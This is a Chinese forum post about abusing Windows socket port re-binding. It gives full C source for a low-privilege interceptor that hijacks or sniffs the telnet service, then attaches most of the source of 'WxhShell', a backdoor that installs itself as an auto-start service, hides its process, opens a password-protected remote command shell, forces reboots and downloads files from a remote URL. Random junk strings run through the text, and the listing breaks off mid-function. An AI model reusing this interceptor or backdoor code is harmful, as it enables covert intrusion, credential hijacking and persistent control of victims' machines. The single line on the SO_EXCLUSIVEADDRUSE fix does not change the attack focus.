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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $>Gf;k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [TT:^F(Y  
!_?HSDAj"n  
  saddr.sin_family = AF_INET; y }h2  
:]* =f].  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); u%Z4 8wr  
W7 +Q&4Y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); p4K 8L'nZ  
_HAr0R8BY  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o Y<vKs^  
^SS9BQ*m  
  这意味着什么?意味着可以进行如下的攻击: 'NnmLM(oh  
"eI">`!g  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 PG'I7)Bv  
0b2;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /FcwsD\=$  
|~=4Z rcCP  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 U* T :p>&  
vY,]f^F"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]`}EOS-Q  
5zt5]zl'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 x6|QTO  
O)r>AdLGn  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |mz0 ]  
aQ)g7C  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u#Uc6? E  
<a2Kc '  
  #include ET3+07  
  #include 92*Y( >  
  #include eBW]hwhKzM  
  #include    2f 9%HX(5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   jLBwPI_g  
  int main() q,j` _ R4  
  { |U="B4  
  WORD wVersionRequested; 1{wOjq(4  
  DWORD ret; [_p&,$z8[  
  WSADATA wsaData; @'S !G"\  
  BOOL val; d.NB@[?*  
  SOCKADDR_IN saddr; uC1v^!D  
  SOCKADDR_IN scaddr; 4$v08z Z  
  int err; dJZ 9mP!d  
  SOCKET s; }@g#S@o  
  SOCKET sc; iS28p  
  int caddsize; N,`<:'  
  HANDLE mt; hfQ^C6yR  
  DWORD tid;   =v=H{*dWA  
  wVersionRequested = MAKEWORD( 2, 2 ); B4# gT  
  err = WSAStartup( wVersionRequested, &wsaData ); |7G=f9V  
  if ( err != 0 ) { H3o Um1  
  printf("error!WSAStartup failed!\n"); cUr'mb  
  return -1; $qhVow5~  
  } O.P:~  
  saddr.sin_family = AF_INET; YCB=RT]&`  
   $RV'DQO  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 iI%"]- 0@1  
5nG$6Hw  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -"3<Ll  
  saddr.sin_port = htons(23); jhSc9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `]g}M,  
  { uY=}w"Db  
  printf("error!socket failed!\n"); YQ<O .E  
  return -1; las|ougLy  
  } ?QCHkhU  
  val = TRUE; :. a}pgh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _p=O*$b.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) uCpk1d  
  { 6 {tW$q  
  printf("error!setsockopt failed!\n"); |Xl,~-.  
  return -1; l=< :  
  } kculHIa\.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; NFcMh+qnK  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kVe_2oQ_>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 DcQsdeuQ  
d.uJ}=|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #x|h@(y|  
  { n~k9Z^ $  
  ret=GetLastError(); .pQ4#AJ  
  printf("error!bind failed!\n"); @[4Tdf  
  return -1; Af>Ho"i  
  } j*jO809%^  
  listen(s,2); I 0}+}{M:  
  while(1) gyW##M@{  
  { n/5)}( }K  
  caddsize = sizeof(scaddr); CvtG  
  //接受连接请求 q@x{6zj  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -?WhJ.U  
  if(sc!=INVALID_SOCKET) we&g9j'  
  { 9L'R;H?L  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |JW-P`tL0  
  if(mt==NULL) JY tM1d  
  { } .cP  
  printf("Thread Creat Failed!\n"); v1Lu.JQC$  
  break; g^DPb pWxu  
  } /a$RJ6t&3  
  } "!6 Ax-'  
  CloseHandle(mt); X} v]iX  
  } vxzOG?Xc:  
  closesocket(s); \^+=vO;A  
  WSACleanup(); )5U&^tJ  
  return 0; Dh|8$(Jt  
  }   =@>[  
  DWORD WINAPI ClientThread(LPVOID lpParam) z`D;8x2b  
  { ggUJ -M'2h  
  SOCKET ss = (SOCKET)lpParam; yA+:\%y$  
  SOCKET sc; ?qt>;o|Ue  
  unsigned char buf[4096]; QviH+9  
  SOCKADDR_IN saddr; p}NIZ)]$  
  long num; "7pd(p *C  
  DWORD val; u@$C i/J*  
  DWORD ret; 'i|z>si[*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 b;O|-2AR  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   nx >PZb  
  saddr.sin_family = AF_INET; +SSF=]4+  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y|=/*?o}  
  saddr.sin_port = htons(23); t F<|Eja *  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q|. X[~e|  
  { e8@@Pi<sB  
  printf("error!socket failed!\n"); h@"dpmpe  
  return -1; 6* /o  
  } do9@6[{Sv  
  val = 100; {%5tqF  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Fss7xP'  
  { u"\HBbBx  
  ret = GetLastError(); S/|'ggC  
  return -1; X#mppMU  
  } d aIt `}s  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) . 4"9o%  
  { NGlX%j4j  
  ret = GetLastError(); AoEG%nT  
  return -1; AopC xaJ`  
  } <[2]p\rj  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sW B;?7P  
  { yD+)!q"  
  printf("error!socket connect failed!\n"); vb-L "S?kC  
  closesocket(sc); /u }AgIb  
  closesocket(ss); E3\O?+ h#  
  return -1; )x-iru A:  
  } BOLG#}sm  
  while(1) 9i8D_[  
  { c_]$UM[7L  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 95,y@~ *]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >`a)gky%~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 YB h :  
  num = recv(ss,buf,4096,0); )A a98Eu?2  
  if(num>0) {4g1Wr5=  
  send(sc,buf,num,0); n_%JXm#\  
  else if(num==0) w<<G}4~u|  
  break; z6 v RTY  
  num = recv(sc,buf,4096,0); Eoug/we  
  if(num>0) ;K[`o/#4"  
  send(ss,buf,num,0); Q9N=yz  
  else if(num==0) 1\q2;5  
  break; 1q*85 [Y  
  } xQa[bvW  
  closesocket(ss); +!6C^G  
  closesocket(sc); Y B@\"|}  
  return 0 ; `5;O|qRq  
  } #e0tT+  
!6ZkLE[XJ<  
3VbQDPG  
========================================================== ip4:px-  
C26PQGo#$  
下边附上一个代码,,WXhSHELL ^.F@yo2}  
g83!il\  
========================================================== )p>BN|L  
7'_zJI^  
#include "stdafx.h" AG2iLictv  
MPMJkL$F^  
#include <stdio.h> $WvI%r  
#include <string.h> '}*5ee](S  
#include <windows.h> rp.S4;=Q9  
#include <winsock2.h> *Wv]DV=\  
#include <winsvc.h> ,8g~,tMr+  
#include <urlmon.h> 4`G":nE?We  
4w^B&e%  
#pragma comment (lib, "Ws2_32.lib") e@s+]a8D-k  
#pragma comment (lib, "urlmon.lib") Xi_>hL+R(  
:cop0;X:Wm  
#define MAX_USER   100 // 最大客户端连接数 KP7bU9odJ  
#define BUF_SOCK   200 // sock buffer |n3PznV  
#define KEY_BUFF   255 // 输入 buffer '|<+QAc  
|C@)#.nm[  
#define REBOOT     0   // 重启 ho2o/>Ef3  
#define SHUTDOWN   1   // 关机 Z.$ncP0s  
34 W#  
#define DEF_PORT   5000 // 监听端口 -<a~kVv  
YMwMaU)K,  
#define REG_LEN     16   // 注册表键长度 eMVfv=&L<3  
#define SVC_LEN     80   // NT服务名长度 b&A+`d  
Xvm.Un< N  
// 从dll定义API 1`2n<qo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S5E mLgnRs  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i)P.Omr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )+Wx!c,mb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HFBGM\R02  
 "/6(  
// wxhshell配置信息 }%[TJ@R;  
struct WSCFG { B5u0 6O  
  int ws_port;         // 监听端口 B=#rp*vwL  
  char ws_passstr[REG_LEN]; // 口令 3x9O<H}  
  int ws_autoins;       // 安装标记, 1=yes 0=no V< 0gD?Kx  
  char ws_regname[REG_LEN]; // 注册表键名 [a\:K2*'  
  char ws_svcname[REG_LEN]; // 服务名 Lw?4xerLsb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Rk56H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [[QrGJr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _wKFT>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [kgT"?w=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bV&/)eqv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (F]f{8  
/s(/6~D|  
}; ox] LlRK  
|uQJMf[L)  
// default Wxhshell configuration qr$=oCqa  
struct WSCFG wscfg={DEF_PORT, #O z<<G<  
    "xuhuanlingzhe", PkQuN;a  
    1, <P ~+H>;  
    "Wxhshell",  |X`xJL  
    "Wxhshell", afv? z  
            "WxhShell Service", =;0#F&  
    "Wrsky Windows CmdShell Service", s%>>E!Qi_  
    "Please Input Your Password: ", T.GY  
  1, :^71,An >E  
  "http://www.wrsky.com/wxhshell.exe", *f$mSI=  
  "Wxhshell.exe" f GE+DjeA  
    }; Y.3]vno?X  
~!&WK,k6  
// 消息定义模块 97e fWYj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B%Dy;zdWd/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lz EF^6I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $:s1x\ol  
char *msg_ws_ext="\n\rExit."; tfvX0J  
char *msg_ws_end="\n\rQuit."; 3/>McZ@OH  
char *msg_ws_boot="\n\rReboot..."; ?3kfh R  
char *msg_ws_poff="\n\rShutdown..."; K5z*DYT  
char *msg_ws_down="\n\rSave to "; Y<X%'Wd\  
FJKt5}`8  
char *msg_ws_err="\n\rErr!"; o8BbSZVu  
char *msg_ws_ok="\n\rOK!"; s<H0ka@  
K& <|94_k  
char ExeFile[MAX_PATH]; ]y@9 z b  
int nUser = 0; L{ ?& .iA  
HANDLE handles[MAX_USER]; kYl$V =  
int OsIsNt; mfQQ<Q@  
2I(0EBW  
SERVICE_STATUS       serviceStatus; ,Ww)>O+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -RVwPY  
"2}04b|"  
// 函数声明 ;FQAL@"Yj  
int Install(void); `+1+0?9  
int Uninstall(void); 9 bYoWw  
int DownloadFile(char *sURL, SOCKET wsh); *TVr| to  
int Boot(int flag); '0GCaL*Sd  
void HideProc(void); ?ah-x""Y  
int GetOsVer(void); u1/4WYJeJ  
int Wxhshell(SOCKET wsl); :h=];^/E  
void TalkWithClient(void *cs); a9mLPP  
int CmdShell(SOCKET sock); I1BVqIt1i  
int StartFromService(void); *L%HH@] %_  
int StartWxhshell(LPSTR lpCmdLine); F:x" RbbF  
cP`f\\c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o"R[#E&Yx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :"g^y6i  
XU5/7 .  
// 数据结构和表定义 mS6 #\'Qa  
SERVICE_TABLE_ENTRY DispatchTable[] = GN?^7kI  
{ f}0(qN/G  
{wscfg.ws_svcname, NTServiceMain}, d3_aFs Q  
{NULL, NULL} v#@"Evh7  
}; T|Sz~nO}f  
Uc>kCBCd  
// 自我安装 wAkpk&R  
int Install(void) g+t-<D"L5  
{ ]C3{ _?=  
  char svExeFile[MAX_PATH]; /+.Bc(`  
  HKEY key; }L>}_NV\  
  strcpy(svExeFile,ExeFile); QUVwO m  
q6f+tdg=  
// 如果是win9x系统,修改注册表设为自启动 3h aYb`  
if(!OsIsNt) { W~aVwO'(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^]( sCE7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zk__CgS#  
  RegCloseKey(key); I!dA{INN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CO%7^}xSE,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n@XI$>B  
  RegCloseKey(key); B^P)(Nu+  
  return 0; UX;?~X  
    } E'j>[C:U  
  } Xa=oryDt  
} >A|(mc  
else { YD H!N l  
<iuESeDG  
// 如果是NT以上系统,安装为系统服务 )o;/*h%@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iagl^(s  
if (schSCManager!=0) K PSFy<  
{ q.U` mtS  
  SC_HANDLE schService = CreateService s]50Y-C  
  ( -;20|US)u  
  schSCManager, 0f&B;?)!  
  wscfg.ws_svcname, .LhIB?  
  wscfg.ws_svcdisp, u)Y~+ [Q  
  SERVICE_ALL_ACCESS, O`Er*-O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :f G5?])  
  SERVICE_AUTO_START, LQ`s>q  
  SERVICE_ERROR_NORMAL, #(F/P!qk  
  svExeFile, Wf/r@/ q  
  NULL, f_Ma~'3   
  NULL, V zuW]"  
  NULL, uf]S PG#/D  
  NULL, <k!M+}a 9V  
  NULL #<s6L"Z-  
  ); 2 -72 8  
  if (schService!=0) W@`2+}  
  { {^=T&aCYdS  
  CloseServiceHandle(schService); "s]r"(MX  
  CloseServiceHandle(schSCManager); T\I}s"d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XLb lVi@  
  strcat(svExeFile,wscfg.ws_svcname); g>-pC a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3O7]~5 j1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qq.M]?Z  
  RegCloseKey(key); S[J eW  
  return 0; 3u#bx1  
    } !iA 3\Ai"  
  } CuC1s>  
  CloseServiceHandle(schSCManager);  a?S5 =  
} ^MIF+/bQ  
} N;4bEcWjp  
nF>41 K  
return 1; 3.@"GS#"[  
} m0QE S  
6!zBLIYFI  
// 自我卸载 TwlX'iI_;  
int Uninstall(void) vT~ey  
{ i)y8MlC{  
  HKEY key; g xY6M4  
3}dTbr4y  
if(!OsIsNt) { i0Ejo;dB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { waI?X2  
  RegDeleteValue(key,wscfg.ws_regname); [p3{d\=*?  
  RegCloseKey(key); m:B9~ lbT+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V5:ad  
  RegDeleteValue(key,wscfg.ws_regname); (StX1g'  
  RegCloseKey(key); #(swVo:+E  
  return 0; ]8q#@%v }  
  } [ )3rc}:1  
} */c4b:s  
} Lh%z2 5t  
else { WoM;)Q  
-]el_:H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E|{(O  
if (schSCManager!=0) %"-bG'Yc  
{ <G|i!Pm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j5m KJC  
  if (schService!=0) !q\MXS($#u  
  { ]QKo>7%[  
  if(DeleteService(schService)!=0) { p3r("\Za,  
  CloseServiceHandle(schService); GsIVx!  
  CloseServiceHandle(schSCManager); 6_|iXs(&  
  return 0; z^lcc7  
  } m%zo? e  
  CloseServiceHandle(schService); 3LGX ^J<f  
  }  _U.|$pU  
  CloseServiceHandle(schSCManager); G0#<SJ,)  
} SU ,G0.  
} JfD-CoQS'  
fg$#ZCi  
return 1; }uZ/^_U.  
} @$}Ct  
4>^LEp  
// 从指定url下载文件 `%QXaKO-  
int DownloadFile(char *sURL, SOCKET wsh) M~%P1@%  
{ m`i_O0T  
  HRESULT hr; &~mJ ).*  
char seps[]= "/"; '8J!(+  
char *token; YRg"{[+#]k  
char *file; <O Y (y#x  
char myURL[MAX_PATH]; [|".j#ZlK  
char myFILE[MAX_PATH]; srPczVG*  
U!d|5W.{Q  
strcpy(myURL,sURL); zh{,.c  
  token=strtok(myURL,seps); {wy{L-X  
  while(token!=NULL) PRJ  
  { 8[b_E5!V  
    file=token; ES-V'[+jDy  
  token=strtok(NULL,seps); T:T`M:C.  
  } K|pg'VT"  
[ Y+Ta,  
GetCurrentDirectory(MAX_PATH,myFILE); !3F3E8%  
strcat(myFILE, "\\"); Su/8P[q_  
strcat(myFILE, file); (1EtC{ m  
  send(wsh,myFILE,strlen(myFILE),0); vf&_ N  
send(wsh,"...",3,0); KH$|wv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8 Y4mTW  
  if(hr==S_OK) GP>\3@>  
return 0; SzP`(}AU  
else NSawD.9mV  
return 1; pfBe24q  
oyB gF\  
} [Dhqyjq  
CvHE7H|-{  
// 系统电源模块 fmq''1u  
int Boot(int flag) K| dI'TnW  
{ 44NM of8N  
  HANDLE hToken; Gv[s86AP,  
  TOKEN_PRIVILEGES tkp; 1=Z!ZY}}e  
2&"qNpPtE  
  if(OsIsNt) { 7}:+Yx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1 |  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Brts ig,4  
    tkp.PrivilegeCount = 1; SJB^dI**/d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "1YwV~M5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zO`4W!x&  
if(flag==REBOOT) { @(bg#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C.BlB  
  return 0; 2HUw^ *3  
} }?\^^v h7  
else { 8.,d`~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P_4E<"eK  
  return 0; 5JHWt<n{P  
} V/3@iOwD  
  } 7u{V1_ n1  
  else { ^Q6?T(%$  
if(flag==REBOOT) { 2E8G 5?qe)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A XhP3B]  
  return 0; @9eN\b%I^H  
} cYp/? \  
else { zauDwV=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6P3h955c  
  return 0; |1GOm=GNK  
} 6Df*wi!jI  
} ,<N{Y[n]e  
HfZ^ED"}  
return 1; 0 N"N$f  
} 'hE'h?-7  
qA;Gl"HF  
// win9x进程隐藏模块 uu9IUqEq2  
void HideProc(void) (\D E1q  
{ d~AL4~}  
^U5Qb"hz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "~=-Q#xO  
  if ( hKernel != NULL ) Nm !~h|3  
  { Vm8@ LA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )X;051Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j+fib} 8}  
    FreeLibrary(hKernel); J5(0J7C  
  } iciKjXJ :  
NRny]!  
return; 2"HTD|yy  
} GeDI\-  
r;xy/*%Mtj  
// 获取操作系统版本 &<x.D]FA]  
int GetOsVer(void) 99.F'Gz  
{ YA@MLZm  
  OSVERSIONINFO winfo; c7~R0nP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cnS;9=,&  
  GetVersionEx(&winfo); |.,]0CRg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pHuR_U5*?  
  return 1; a2Nxpxho  
  else WW.@&#S5  
  return 0; }toe'6  
} m~ 5"q%;  
cF 4,dnI  
// 客户端句柄模块 y=c={Qz@vn  
int Wxhshell(SOCKET wsl) gyMHC{l/B  
{ S2DG=hi`GK  
  SOCKET wsh; V3# ms0  
  struct sockaddr_in client; ;p2b^q'  
  DWORD myID; WQ 2{`'z  
% YK xdp  
  while(nUser<MAX_USER) ywl=@  
{ #bBh. ^  
  int nSize=sizeof(client); rf-yUH]&S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }NoP(&ebz*  
  if(wsh==INVALID_SOCKET) return 1; hf]m'5pb  
.b+ix=:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -$?t+ "/E  
if(handles[nUser]==0) `vMhrn  
  closesocket(wsh); y+T[="W  
else 9@ YKx0  
  nUser++; "!D y[J  
  } 0Dna+V/jI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g9q}D-  
O >pv/Ns  
  return 0; ^ZO! (  
} Nf^<pT [*  
%s"& |32  
// 关闭 socket }^iqhUvT F  
void CloseIt(SOCKET wsh) *2u~5 Kc<  
{ BGBHA"5fz  
closesocket(wsh); mM72>1~L*  
nUser--; PWyf3  
ExitThread(0); ~x!up 9  
} y/y~<-|<@  
qx b]UV,R  
// 客户端请求句柄 MW6z&+Z  
void TalkWithClient(void *cs) DrKB;6  
{ H)i|?3Ip  
"5Y6.$Cuf!  
  SOCKET wsh=(SOCKET)cs; ?!&%-R6*  
  char pwd[SVC_LEN]; Vn4wk>b}$2  
  char cmd[KEY_BUFF]; :u./"[G  
char chr[1]; GE(~d '  
int i,j; 3PGAUQR#"q  
')!X1A{  
  while (nUser < MAX_USER) { Oo@o$\+v  
i4,p\rE0  
if(wscfg.ws_passstr) { BH1h2OEe#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w^ut,`yW R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oR&z,%0wMK  
  //ZeroMemory(pwd,KEY_BUFF); Q8%_q"C  
      i=0; ?T2>juf]5~  
  while(i<SVC_LEN) { n V7Vc;  
o^vX\a?`u  
  // 设置超时 l@Vv%w9H  
  fd_set FdRead; uyxYCc  
  struct timeval TimeOut; g/JF(nkP  
  FD_ZERO(&FdRead); HK8sn1j  
  FD_SET(wsh,&FdRead); IO)#O<  
  TimeOut.tv_sec=8; GM0Q@`d  
  TimeOut.tv_usec=0; H:]cBk^[,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {?eUAB<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <kdlXS>J.  
3}<U'%sd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zk FX[-'O  
  pwd=chr[0]; N=BG0t$  
  if(chr[0]==0xd || chr[0]==0xa) { (_zlCHB  
  pwd=0; A vq+s.h  
  break; k_L`  
  } GeTk/tU  
  i++; nFNRiDx  
    } #dj?^n g  
uy'seJ  
  // 如果是非法用户,关闭 socket )rK2%\Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \~ChbPnc  
} +ODua@ULFB  
OALNZKP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x_nwD"   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WJOoDS!i  
(MI>7| ';  
while(1) { \4q|Qno8  
h<U?WtWT-p  
  ZeroMemory(cmd,KEY_BUFF); +T$Olz  
&\N>N7/1  
      // 自动支持客户端 telnet标准   teg5g|*  
  j=0; HCs^?s8Pp  
  while(j<KEY_BUFF) { +QU>D:l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JP5e=Z<  
  cmd[j]=chr[0]; E(P 6s;LZ  
  if(chr[0]==0xa || chr[0]==0xd) { FKTF?4+\U  
  cmd[j]=0; ;"Kgg:K>W  
  break; 5, 1<A@H  
  } 8x U*j  
  j++; -!Myw&*\V  
    } A/>Q5)  
VTu#)I7A^@  
  // 下载文件 d fj23+  
  if(strstr(cmd,"http://")) { n"Ie>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +:.Jl:fx4  
  if(DownloadFile(cmd,wsh)) =EP`,zqn$9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {h@\C|nF  
  else c4Zpt%:}h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TwPQ8}pj?  
  } jr4xh {Z`  
  else { :3n@].  
y ("WnVI  
    switch(cmd[0]) { ;>v.(0FE6  
  AU$~Ap*rsa  
  // 帮助 [yXmnrxA  
  case '?': { 3F2IL)Hn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X ."z+-eh  
    break; m}uOBR+  
  } b&U1^{(  
  // 安装 XMuZ}u[U  
  case 'i': { hy*{ {f;  
    if(Install()) *8Z2zmZtR^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ('5?-  
    else [CI&4) #  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w(Z?j%b  
    break; 32[}@f2q  
    } KdR4<qVV}  
  // 卸载 h=7q;-@7  
  case 'r': { &:&89<C'  
    if(Uninstall()) u#@/^h;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =%X."i1A  
    else ^3$l!>me  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q H}8TC  
    break; lGd'_~'=  
    } xm{]|~^JG  
  // 显示 wxhshell 所在路径 OyZR&,q  
  case 'p': { JN0h3nZ_  
    char svExeFile[MAX_PATH]; + Q-b}  
    strcpy(svExeFile,"\n\r"); ~=|}!A(  
      strcat(svExeFile,ExeFile); N)X Tmh2v|  
        send(wsh,svExeFile,strlen(svExeFile),0); '47 b"uV  
    break; !g|O.mt  
    } !DZ=`a?y  
  // 重启 UX)GA[WI  
  case 'b': { _Je 4&KU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }%_|k^t  
    if(Boot(REBOOT)) o+a=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~rb0G*R>  
    else { P8d  
    closesocket(wsh); +~^S'6yB  
    ExitThread(0); G(&[1V%x  
    } ,9P-<P  
    break; U**8^:*y#:  
    } "6f`hy  
  // 关机 +/ukS6>gr  
  case 'd': { M~:_^B  
